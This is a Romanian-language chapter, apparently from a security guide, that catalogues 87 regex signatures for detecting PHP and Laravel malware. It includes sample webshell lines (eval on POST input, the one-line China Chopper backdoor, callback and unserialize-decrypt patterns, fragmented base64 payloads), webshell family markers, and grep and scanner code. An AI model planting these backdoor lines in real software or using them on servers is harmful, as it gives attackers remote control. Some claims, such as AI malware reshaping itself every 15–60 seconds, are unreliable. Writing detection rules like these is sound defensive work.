🔒 Hacked
Capitolul 4

Cele 87 de semnături: O analiză profundă a malware-ului PHP

Când știi cum arată malware-ul, îl poți găsi. Aceasta este premisa din spatele detectării bazate pe semnături - fundația fiecărui scanner de securitate.

Acest capitol documentează 87 de semnături unice de malware care țintesc aplicații PHP și Laravel. Fiecare reprezintă un tipar care, când este găsit în baza ta de cod, indică o potențială compromitere.

Cum Am Construit Această Bază de Date

Baza noastră de date de semnături nu a fost creată într-o zi. Este rezultatul sintezei cercetării din multiple surse:

5
Modele AI de Cercetare
87
Semnături Unice
7
Familii de Webshell

Am sintetizat cercetarea din 5 modele AI de top, combinată cu surse stabilite din industrie—reguli Neo23x0/YARA, JAMSS, rapoarte Akamai. Fiecare model a contribuit cu perspective unice pe diverse categorii de amenințări, de la tehnici de evaziune la vulnerabilități zero-day.

Dar metodologia e doar jumătate din poveste.

Adevărata valoare vine din ce NU poate fi replicat ușor:

Fiecare tipar a fost validat cu preg_match() și testat extensiv pentru a elimina alertele false.


Înțelegerea Categoriilor de Semnături

Nu toate semnăturile sunt egale. Le categorizăm după severitate și încredere:

CategorieÎncredereAcțiuneNumăr
Critică>95%Auto-carantină28
Ridicată80-95%Alertă + Revizuire18
Medie50-80%Necesită Context14
Suspicioasă<50%Informațională6
Polimorfism AIVariabilăGestionare Specială3
ℹ️

Scor de Încredere

Încrederea indică cât de probabil este ca o potrivire să reprezinte malware real vs. cod legitim. O semnătură cu 99% încredere înseamnă că false positive-urile sunt extrem de rare. Semnăturile cu încredere mai mică necesită revizuire umană.


Semnături Critice (28 Tipare)

Acestea sunt cele mai periculoase tipare - cod care nu este aproape niciodată legitim și ar trebui să declanșeze acțiune imediată.

Execuție Directă de Cod

Cele mai evidente tipare de malware implică execuția de cod arbitrar:

SIG-C001 CRITICAL

eval_base64_decode

Execuție Cod

eval(base64_decode(...)) - Execuție clasică de payload. Decodifică codul ascuns și îl rulează. Încredere: 98% | False positive-uri: Extrem de rare

SIG-C002 CRITICAL

eval_gzinflate

Execuție Cod

eval(gzinflate(...)) - Execuție de payload comprimat. Decomprimă și rulează cod ascuns. Încredere: 98%

SIG-C003 CRITICAL

eval_user_input

Webshell

eval($_GET/POST/REQUEST) - Execuție directă a input-ului utilizatorului. Indicator clasic de webshell. Încredere: 99% | MITRE ATT&CK: T1505.003

Exemple de Tipare MALICIOUS CODE
// SIG-C001: eval + base64_decode
eval(base64_decode('ZWNobyAnaGFja2VkJzs='));

// SIG-C002: eval + gzinflate
eval(gzinflate(base64_decode('...')));

// SIG-C003: eval cu input utilizator (WEBSHELL!)
eval($_POST['cmd']);

Injecție de Comenzi de Sistem

Când atacatorii vor acces la shell:

SIG-C010 CRITICAL

shell_exec_user_input

Comandă OS

shell_exec($_GET/POST) - Injecție directă de comandă OS din input utilizator. Încredere: 99% | MITRE ATT&CK: T1059.004

SIG-C011 CRITICAL

system_user_input

Comandă OS

system($_GET/POST) - Execută comandă de sistem cu input utilizator. Încredere: 99%

SIG-C012 CRITICAL

passthru_user_input

Comandă OS

passthru($_GET/POST) - Execuție comandă cu output raw. Încredere: 99%

SIG-C013 CRITICAL

exec_user_input

Comandă OS

exec($_GET/POST) - Execută program extern cu input utilizator. Încredere: 99%

SIG-C014 CRITICAL

proc_open_user_input

Comandă OS

proc_open($_GET/POST) - Control proces cu input utilizator. Încredere: 99%

SIG-C015 CRITICAL

popen_user_input

Comandă OS

popen($_GET/POST) - Deschide pointer fișier proces cu input utilizator. Încredere: 99%

Tipare Zero-Day DeepSeek (2026)

Aceste tipare au fost descoperite prin cercetare AI și reprezintă amenințări emergente:

SIG-DS003 CRITICAL

variable_function_call_superglobal

Polimorfic

$var($_GET/POST) - Apel funcție variabilă cu input utilizator. Tehnică de execuție polimorfică. Încredere: 97% | Rezistență la Bypass: Ridicată

SIG-DS004 CRITICAL

devshm_php_file

Fileless

Cale fișier PHP în /dev/shm/ - Persistență fileless în RAM. Supraviețuiește scanărilor bazate pe fișiere. Încredere: 99% | Tehnică: Malware fileless

SIG-DS005 CRITICAL

devshm_write

Fileless

file_put_contents('/dev/shm/...') - Scriere în sistemul de fișiere bazat pe RAM. Staging pentru malware fileless. Încredere: 99% | Tehnică: Malware fileless

SIG-DS006 CRITICAL

eval_variable_indirect

Obfuscare

eval($variable) - Execuție indirectă prin variabilă. Comun în malware generat de AI. Încredere: 90% | Notă: Verifică contextul pentru false positive-uri

💀

Tipare RCE Specifice Laravel

Următoarele două tipare țintesc specific aplicațiile Laravel prin abuzarea sistemului de criptare. Dacă APP_KEY-ul tău este compromis, acestea devin exploatabile.

SIG-DS007 CRITICAL

laravel_decrypt_user_input

Laravel RCE

decrypt($_GET/POST) - Laravel decrypt() cu input utilizator. Permite RCE prin deserializare dacă APP_KEY este scurs. Încredere: 98% | Specific Laravel

SIG-DS008 CRITICAL

unserialize_decrypt_chain

Laravel RCE

unserialize(decrypt(...)) - Atac cu lanț gadget. Deserializează date controlate de atacator. Încredere: 99% | Specific Laravel

Tipare de Atac Specifice Laravel MALICIOUS CODE
// SIG-DS007: Laravel decrypt cu input utilizator
$data = decrypt($_POST['payload']);  // CRITIC dacă APP_KEY e scurs

// SIG-DS008: Atac cu lanț gadget
$obj = unserialize(decrypt($_REQUEST['data'])); // RCE via lanțuri phpggc

Tipare Critice Adiționale

SIG-C004 CRITICAL

assert_dynamic

Execuție Cod

assert($var) sau assert(base64...) - assert() cu input dinamic execută cod. Încredere: 95%

SIG-C005 CRITICAL

create_function_deprecated

Execuție Cod

create_function('', $_...) - Funcție deprecată care folosește eval() intern. Încredere: 97% | Sursă: Analiză AST GPT-4

SIG-C006 CRITICAL

preg_replace_e_modifier

Execuție Cod

preg_replace('/.../e', ...) - Modificatorul /e execută înlocuirea ca cod PHP. Încredere: 99% | Notă: Eliminat în PHP 7.0, dar încă văzut în sisteme legacy


Cele 7 Familii de Webshell

Webshell-urile sunt malware-ul pe care îl întâlnim cel mai des. Acestea sunt kituri backdoor complete care oferă atacatorilor control total asupra serverului tău.

WSO (Web Shell by Orb)

SIG-WS002 CRITICAL

wso_shell

Familie Webshell

Markeri: WSO_VERSION, FilesMan, w_s_o_root Încredere: 99%

AtributDetalii
Prima Apariție2010
Ultima Actualizare2021 (WSO-NG)
AliasuriWSO 2.1, WSO-NG, WSO Mini, FilesMan
DescriereCel mai popular webshell PHP bogat în funcții. Include manager de fișiere, client bază de date, execuție comenzi și capabilități de auto-actualizare.

China Chopper

SIG-WS001 CRITICAL

china_chopper

Familie Webshell

Tipar: @eval($_POST['password']); Încredere: 99% | MITRE ATT&CK: T1505.003

AtributDetalii
Prima Apariție2012
Aliasuricaidao, C knife
Dimensiune~4KB
DescriereBackdoor APT compact folosit de actori de amenințări chinezi. Amprentă extrem de mică face să fie ușor de ratat. Componentă server de o linie cu client complet.
Formă Minimală China Chopper MALICIOUS CODE
<?php @eval($_POST['pass']); ?>
🚨

4KB de Distrugere

Componenta server a China Chopper este adesea doar O SINGURĂ LINIE de cod. Acea singură linie oferă: management de fișiere, execuție comenzi, acces la bază de date și pivotare în rețea - toate controlate de un client GUI Windows.

B374K Shell

SIG-WS004 CRITICAL

b374k_shell

Familie Webshell

Markeri: b374k, b374k r3c0d3d Încredere: 99%

AtributDetalii
Prima Apariție2014
Aliasurib374k 2.x, b374k 3.x
DescriereWebshell modern cu protecție prin parolă, suport teme și arhitectură modulară. Cunoscut pentru UI-ul curat și funcțiile extinse.

C99 Shell

SIG-WS003 CRITICAL

c99_shell

Familie Webshell

Markeri: c99sh_surl, c99shell, c99_buff_prepare Încredere: 99%

AtributDetalii
Prima Apariție2008
DescriereVariantă WSO extinsă cu capabilități de auto-ștergere, brute force FTP și instrumente de codificare. Adesea găsit cu payload-uri adiționale.

R57 Shell

SIG-WS007 CRITICAL

r57_shell

Familie Webshell

Markeri: r57shell, r57_pwd Încredere: 99%

AtributDetalii
Prima Apariție2006
DescriereUnul dintre cele mai vechi webshell-uri încă găsite în sălbăticie. Design clasic, încă menținut de diverse grupuri.

ALFA Shell

SIG-WS005 CRITICAL

alfa_shell

Familie Webshell

Markeri: ALFA_DATA, AlfaTeam, Alfa Shell Încredere: 99%

AtributDetalii
Prima Apariție2018
DescriereWebshell underground modern cu funcții avansate. Popular în forumurile de criminalitate cibernetică din Europa de Est.

IndoXploit

SIG-WS006 CRITICAL

indoxploit_shell

Familie Webshell

Markeri: IndoXploit, IDX_Config Încredere: 99%

AtributDetalii
Prima Apariție2016
DescriereWebshell de defacement în masă țintind servere Linux. Adesea folosit pentru campanii de vandalizare site-uri.

Semnături de Severitate Ridicată (18 Tipare)

Aceste tipare au 80-95% încredere - sunt adesea malițioase dar pot avea utilizări legitime în contexte specifice.

Tipare de Obfuscare

SIG-H001 HIGH

hex_obfuscation_chain

Obfuscare

3+ secvențe consecutive de escape hex (\x48\x65\x6c\x6c\x6f). Încredere: 85%

SIG-H002 HIGH

chr_concatenation

Obfuscare

5+ apeluri consecutive chr() concatenate: chr(72).chr(101).chr(108)... Încredere: 90%

SIG-H003 HIGH

str_rot13_execution

Obfuscare

eval(str_rot13(...)) sau similar - ROT13 cu execuție de cod. Încredere: 92%

SIG-H004 HIGH

multi_layer_decode

Obfuscare

2+ funcții de decodare înlănțuite: eval(gzuncompress(base64_decode(...))) Încredere: 88% | Sursă: semnături JAMSS

Exemple de Obfuscare MALICIOUS CODE
// SIG-H001: Obfuscare hex
$cmd = "\x73\x79\x73\x74\x65\x6d";  // "system"

// SIG-H002: lanț chr()
$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);

// SIG-H004: Decodare multi-strat
eval(gzuncompress(base64_decode(str_rot13('...'))));

Tipare Polimorfice (DeepSeek 2026)

SIG-DS001 HIGH

base64_decode_any

Polimorfic

base64_decode('...') cu șir de 20+ caractere - Prinde base64 cu padding eliminat. Încredere: 85% | Notă: Poate potrivi date codificate legitime

SIG-DS002 HIGH

polymorphic_function_build

Polimorfic

Concatenare șiruri construind nume funcție: $f = 'sys'.'tem'; Încredere: 82% | Exemplu: $f = "sys"."tem"; $f($cmd);

SIG-H010 HIGH

variable_function_generic

Polimorfic

Apel generic funcție variabilă: $func($arg) Încredere: 80% | Notă: Comun în framework-uri, necesită context

Abuz Funcții Callback

SIG-H020 HIGH

callback_dangerous_input

Abuz Callback

array_map, array_filter, call_user_func cu callback-uri suspecte. Încredere: 88%

SIG-H021 HIGH

usort_callback_abuse

Abuz Callback

usort($arr, 'system') - Funcții de sortare cu callback-uri periculoase. Încredere: 95% | Sursă: Analiză AST GPT-4

Exemple Abuz Callback MALICIOUS CODE
// SIG-H020: array_map cu callback periculos
array_map($_GET['func'], $data);

// SIG-H021: abuz callback usort
usort($arr, 'system'); // Apelează system() pe elementele array!

Tipare Operațiuni pe Fișiere

SIG-H030 HIGH

include_dynamic_path

Includere Fișier

include($variable) - Cale dinamică în instrucțiunea include. Încredere: 82% | Sursă: Analiză AST GPT-4

SIG-H031 HIGH

require_user_input

Includere Fișier

require($_GET/POST) - Vector LFI/RFI direct. Încredere: 98%

SIG-H032 HIGH

include_remote_url

Includere Fișier

include('http://...') - Includere fișier remote. Încredere: 95%

Abuz API Reflection

SIG-H040 HIGH

reflection_invoke

Reflection

Apeluri ->invoke() sau ->invokeArgs() - Potențial bypass funcție. Încredere: 75% | Notă: Comun în containere DI, verifică contextul

SIG-H041 HIGH

reflection_function_dangerous

Reflection

new ReflectionFunction('system') - Reflection cu funcție periculoasă. Încredere: 95%

Altele Severitate Ridicată

SIG-H050 HIGH

openssl_decrypt_header_key

Criptare

openssl_decrypt() cu cheie din header HTTP - Canal de comandă ascuns. Încredere: 95%

SIG-H060 HIGH

function_comment_bypass

Bypass WAF

eval/*comment*/() - Injecție comentariu pentru bypass semnături WAF. Încredere: 92%


Semnături Severitate Medie (14 Tipare)

Acestea necesită analiză de context pentru a determina dacă sunt malițioase:

Operațiuni pe Fișiere cu Input Utilizator

SIG-M001 MEDIUM

file_put_contents_user_input

Scriere Fișier

file_put_contents(..., $_GET/POST) - Scrierea input-ului utilizator în fișier. Încredere: 75%

SIG-M002 MEDIUM

fwrite_user_input

Scriere Fișier

fwrite(..., $_GET/POST) - Scrierea input-ului utilizator cu fwrite(). Încredere: 75%

SIG-M003 MEDIUM

move_uploaded_file

Upload Fișier

move_uploaded_file($_FILES...) - Verifică că validarea este în loc. Încredere: 50% | Adesea legitim

Șiruri Lungi Codificate

SIG-M010 MEDIUM

long_base64_string

Date Codificate

Șir Base64 cu 500+ caractere în codul sursă. Încredere: 65%

SIG-M011 MEDIUM

gzinflate_long_string

Date Codificate

gzinflate() cu șir codificat lung (200+ caractere). Încredere: 70%

Funcții Anonime

SIG-M020 MEDIUM

closure_immediate_invoke

Anonim

IIFE (Immediately Invoked Function Expression) conținând funcții periculoase. Încredere: 85%

SIG-M021 MEDIUM

anonymous_class_shell_exec

Anonim

Clasă anonimă cu metode de execuție comenzi. Încredere: 88% | Sursă: Analiză AST GPT-4

Superglobale în Context Neobișnuit

SIG-M030 MEDIUM

http_header_access

Superglobal

$_SERVER['HTTP_*'] - Acces header HTTP personalizat. Încredere: 50% | Adesea legitim pentru API-uri

SIG-M031 MEDIUM

php_input_stream

Superglobal

Acces php://input - Date POST raw. Încredere: 55% | Comun în API-uri JSON

SIG-M032 MEDIUM

cookie_in_dangerous_context

Superglobal

$_COOKIE folosit cu eval/system/exec. Încredere: 92%

Obfuscare Șiruri

SIG-M040 MEDIUM

string_concat_long

Obfuscare

8+ părți de șir concatenate. Încredere: 70%

SIG-M041 MEDIUM

strrev_function_name

Obfuscare

strrev('metsys') - Inversarea numelor de funcții periculoase. Încredere: 90%


Tipare Suspecte/Informaționale (6 Tipare)

Tipare cu încredere scăzută care pot indica probleme dar sunt adesea legitime:

IDTiparDescriereÎncredere
SIG-S001base64_decode_genericOrice utilizare base64_decode()30%
SIG-S002unserialize_genericOrice utilizare unserialize()40%
SIG-S003eval_genericOrice utilizare eval()45%
SIG-S004self_deleteunlink(__FILE__) - Fișier care se auto-șterge75%
SIG-S005disabled_error_reportingerror_reporting(0)35%
SIG-S006ini_set_display_errorsDisplay errors dezactivat30%
ℹ️

Nu Semnaliza Automat Acestea

Tiparele suspecte nu ar trebui să declanșeze alerte automate. Sunt utile ca indicatori adițional când sunt combinate cu alte descoperiri. Un fișier cu base64_decode() este de obicei în regulă. Un fișier cu base64_decode() ȘI eval() ȘI error_reporting(0) este suspect.


Tipare de Polimorfism AI (2026)

Atacatorii moderni folosesc AI pentru a genera malware polimorfic - cod care își restructurează pentru a evita detectarea prin semnături:

SIG-AI001 HIGH

dynamic_string_array_build

Polimorfism AI

Construire array cu fragmente scurte codificate. AI generează secvențe unice de fragmente. Încredere: 80% | Tehnică: Payload fragmentat

SIG-AI002 CRITICAL

implode_eval_chain

Polimorfism AI

eval(implode('', $array)) - Reconstruiește payload-ul din fragmente. Încredere: 95% | Tehnică: Payload fragmentat

SIG-AI003 MEDIUM

dynamic_class_instantiation

Polimorfism AI

new $className() - Instanțiere dinamică de clasă. Încredere: 65% | Notă: Comun în tipare factory

Tipar Polimorfic Generat de AI MALICIOUS CODE
// SIG-AI001 + SIG-AI002: Payload fragmentat
$chunks = [];
$chunks[] = 'ZXZh';  // AI generează ordine unică de fragmente
$chunks[] = 'bCgk';
$chunks[] = 'X1BP';
$chunks[] = 'U1Rb';
$chunks[] = 'J2NtZCddKTs=';

// Reconstruiește și execută
eval(base64_decode(implode('', $chunks)));
💀

De Ce Eșuează Semnăturile Contra Malware-ului AI

Malware-ul generat de AI își schimbă structura la fiecare 15-60 secunde. Fiecare instanță are nume de variabile, ordini de fragmente și straturi de obfuscare unice. Semnăturile tradiționale nu pot ține pasul. De aceea avem nevoie de analiză comportamentală (Capitolul 5) și detectare entropică.


Indicatori de Obfuscare

Aceștia nu sunt semnături independente, ci modificatori de scor care cresc încrederea când sunt combinați cu alte tipare:

IndicatorTiparModificator ScorPrag
hex_encoded\x48\x65\x6c...+0.303+ secvențe
long_base64șir base64 500+ caractere+0.40-
chr_chainchr(72).chr(101)...+0.355+ apeluri
string_concat_extreme10+ părți concatenate+0.45-
variable_variables${$var}+0.25-
octal_encoding\110\145\154...+0.303+ secvențe

Exemplu de Scoring:

Fișier: suspect.php
- Potrivire: SIG-M011 (gzinflate_long_string) = 0.70 încredere bază
- Indicator: long_base64 = +0.40
- Indicator: hex_encoded = +0.30
- Încredere finală: 0.70 + 0.40 + 0.30 = 1.00 (plafonat la 0.99)
- Rezultat: CRITIC - Carantină

Folosirea Acestor Semnături

Pentru Revizuire Manuală

Caută în baza ta de cod tipare critice:

# Caută tipar eval+base64
grep -rn "eval.*base64_decode" --include="*.php" .

# Caută markeri webshell
grep -rn "WSO_VERSION\|FilesMan\|c99shell\|b374k" --include="*.php" .

# Caută input utilizator în funcții periculoase
grep -rn "eval.*\$_\(GET\|POST\|REQUEST\)" --include="*.php" .

Pentru Scanare Automată

Aceste semnături sunt proiectate pentru scanare bazată pe regex:

$signatures = [
    'critical' => [
        'eval_base64' => '/eval\s*\(\s*base64_decode\s*\(/i',
        'china_chopper' => '/@?eval\s*\(\s*\$_POST\s*\[/i',
        // ... mai multe tipare
    ]
];

foreach ($files as $file) {
    $content = file_get_contents($file);
    foreach ($signatures['critical'] as $name => $pattern) {
        if (preg_match($pattern, $content)) {
            alert("CRITIC: {$name} găsit în {$file}");
        }
    }
}

Managementul False Positive-urilor

Nu fiecare potrivire este malware. Aplică modificatori de context:

ContextModificator ScorMotiv
vendor/-0.40Cod terță parte
storage/framework/views/-0.50Template-uri Blade compilate
bootstrap/cache/-0.45Cache framework
tests/-0.30Fixtures de test

Sumar

Am acoperit 87 de semnături în multiple categorii:

28
Tipare Critice
18
Severitate Ridicată
14
Medie (Context)
6
Suspecte/Info

Concluzii cheie:

  1. Semnăturile critice (eval+base64, markeri webshell, input utilizator în funcții periculoase) ar trebui să declanșeze acțiune imediată
  2. Tiparele de severitate ridicată necesită revizuire umană dar sunt adesea malițioase
  3. Tiparele medii/suspecte sunt dependente de context - caută combinații
  4. Polimorfismul AI schimbă jocul - semnăturile singure nu sunt suficiente
  5. Modificatorii de context previn false positive-urile în codul vendor și directoarele framework

Următorul: Capitolul 5 - Dincolo de Semnături: Cum Evită Detectarea Malware-ul Modern

Semnăturile prind amenințări cunoscute, dar ce facem cu cele necunoscute? În următorul capitol, vom explora analiza entropică, detectarea comportamentală și tehnicile pe care le folosește malware-ul modern pentru a evita scannerele tradiționale.